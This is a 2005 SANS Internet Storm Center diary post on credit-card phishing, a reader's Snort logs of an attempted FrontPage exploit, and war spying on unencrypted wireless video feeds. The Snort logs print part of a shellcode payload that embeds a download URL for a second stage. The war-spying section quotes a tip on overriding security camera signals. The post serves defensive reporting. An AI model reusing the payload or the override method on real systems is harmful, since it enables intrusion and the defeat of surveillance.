Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog - Internet Storm Center Diary 2005-06-21 InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

CC Theft Worries Manipulated; Unusual FrontPage Hack; War Spying/Viewing

Published: 2005-06-21
Last Updated: 2005-06-22 13:37:19 UTC
by Joshua Wright (Version: 1)
0 comment(s)

CC Theft Worries Manipulated



An article on TMCNet's site indicates that phishers are attempting to exploit the worries of credit card holders following last week's announcement of a break-in that could have revealed up to 4 million credit card numbers. Pleasant.



EDIT (6/22/2005-13:24 UTC): Bao Nguyen writes in correcting me, the reported theft was 40 million CC numbers, not 4 million numbers. He also points out that the referenced article may be incorrect, in that
indicate that only 13.9 CC numbers were MasterCard. Thanks Bao!




Unusual FrontPage Hack



Ryan Barnett (CIS Apache Benchmark Project Lead) writes in with some Snort logs indicating an attempted Front Page hack on a system he is monitoring. The first entry indicates an attempt to exploit the chunked-encoding transfter bug:

[**] WEB-MISC Chunked-Encoding transfer attempt [**]
06/20-23:46:58.486734 66.161.76.150:39942 -> 192.168.1.100:80
TCP TTL:61 TOS:0x0 ID:18331 IpLen:20 DgmLen:161 DF
***AP*** Seq: 0x5C80E4DE Ack: 0xC919E70B Win: 0xC1E8 TcpLen: 20
POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1..Host: 192.168.1.100
..Transfer-Encoding: chunked..Content-Length: 1499....


Which is a normal scan I'm sure many readers are familiar with. The unusual bit is an x86 NOOP alert that followed:


[**] SHELLCODE x86 NOOP [**]
06/20-23:46:58.489143 66.161.76.150:39942 -> 192.168.1.100:80
TCP TTL:61 TOS:0x0 ID:18332 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x5C80E557 Ack: 0xC919E70B Win: 0xC1E8 TcpLen: 20
5db.........................g...................................
................................................................
................................................................
................................................................
................g...............................................
......Ehttp://10.10.2.2:191/lsd.080/lsd..b.]3.f....u.....<.u.F..
,0F4...G..............q................rh.B.f..............q....


This output has been trimmed for space. Ryan indicates that there is no internal host at 10.10.2.2 listening on port 191. If there are any other readers with similar log entries matching port 191 or the /lsd.* URL, please
.

War Spying/Viewing



I've taken an interest in the phenomenon of War Spying (aka War Viewing) lately. This activity targets open wireless video feeds transmitted unencrypted on the public wireless bands. Since the frequencies are public and the video traffic isn't encrypted, it's trivial for anyone with a consumer-grade video receiver to capture and record video feeds.


The idea of War Spying isn't new, but has been gaining popularity as evidenced by a few hacker videos that provide instruction on how to setup a War Spying rig:







Here's an interesting comment from one of the hackers in the From the Shadows video:


"The problem with using wireless cameras such as these for security is that anybody who has a powerful transmitter can simply override the signal, and if they have a video recording system on the back-end, the powerful signal will be recorded instead of the actual security camera. So, if someone wanted to rob the place, all they would need to do is override the signal and they would never be caught on tape."


I may be wrong, but isn't that what they did in Oceans 11? :)



Organizations concerned about the risk of War Spying are advised to identify what their exposure level is by assessing their video feeds before an attacker does. One option is to put together your own War Spying rig (see the video links for more information on doing that), or purchase a commercial handheld video scanner, such as the
product.



EDIT: Reader Dean writes in with "The top of the receiving band on those is 2450 MHz, whereas the actual top of the unlicensed videocam radio band is 2474 MHz (or thereabouts)".
I believe the ISM band ends at 2462 MHz, which unfortunately means the ICOM IC-R3 radio falls a bit short. If there are other recommendations, please
.

UPDATE (6/22/2005-13:24 UTC): Reader Dean writes us again (muchos gracious Dean!) citing Part 15 FCC rules that indicates the upper-end of the ISM band in the US is 2.4835 GHz. This means that the ICOM unit will not be capable of identifying open video signals in the upper portions of the allowable spectrum. I've sent ICOM an email message to find out if it's possible to extend the IC-R3 functionality to include this band as well.





-Joshua Wright/Handler-on-Duty

Keywords:
0 comment(s)
Diary Archives